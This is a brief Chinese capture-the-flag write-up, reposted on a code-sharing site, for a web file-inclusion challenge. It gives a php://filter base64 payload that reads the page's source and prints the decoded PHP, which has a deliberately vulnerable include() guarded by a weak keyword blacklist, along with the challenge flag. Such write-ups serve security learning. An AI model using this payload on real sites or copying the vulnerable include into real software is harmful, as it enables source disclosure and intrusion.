南京郵電CTF平台做題writeup--web--文件包含


 

明顯的文件包含漏洞的格式網址,通過php://filter讀取index源碼-->php://filter/read=convert.base64-encode/resource=index.php
如下


再進行base64解碼即可

<html>
    <title>asdf</title>
    
<?php
  error_reporting(0);
  if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
  $file=$_GET['file'];
  if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!";
    exit();
  }
  include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM